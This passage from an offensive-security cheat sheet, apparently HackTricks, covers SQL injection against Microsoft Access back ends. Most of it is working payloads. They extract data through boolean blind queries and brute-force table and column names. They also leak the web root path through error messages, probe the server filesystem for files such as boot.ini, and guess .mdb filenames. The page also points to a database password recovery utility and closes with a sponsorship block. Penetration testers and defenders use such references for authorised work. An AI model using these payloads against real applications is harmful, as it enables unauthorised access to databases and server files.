If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### Brute-forcing Tables names
Using the chaining equals technique you can also **bruteforce table names** with something like:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
You can also use a more traditional way:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
* Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Columns names
You can **brute-force current columns names** with the chaining equals trick with:
```sql
'=column_name='
```
Or with a **group by**:
```sql
-1' GROUP BY column_name%00
```
Or you can brute-force column names of a **different table** with:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
We have already discussed the [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.
### Time Based
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Other Interesting functions
* `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
* `LEN('1234')` get length of string
* `ASC('A')` get ascii value of char
* `CHR(65)` get string from ascii value
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` Count number of items
## Enumerating tables
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
## FileSystem access
### Web Root Directory Full Path
The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responds with an **error message containing the web directory full pathname**.
### File Enumeration
The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb File Name Guessing
**Database file name (.mdb)** can be inferred with the following query:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Where **name\[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
### .mdb Password Cracker
****[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.
## References
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>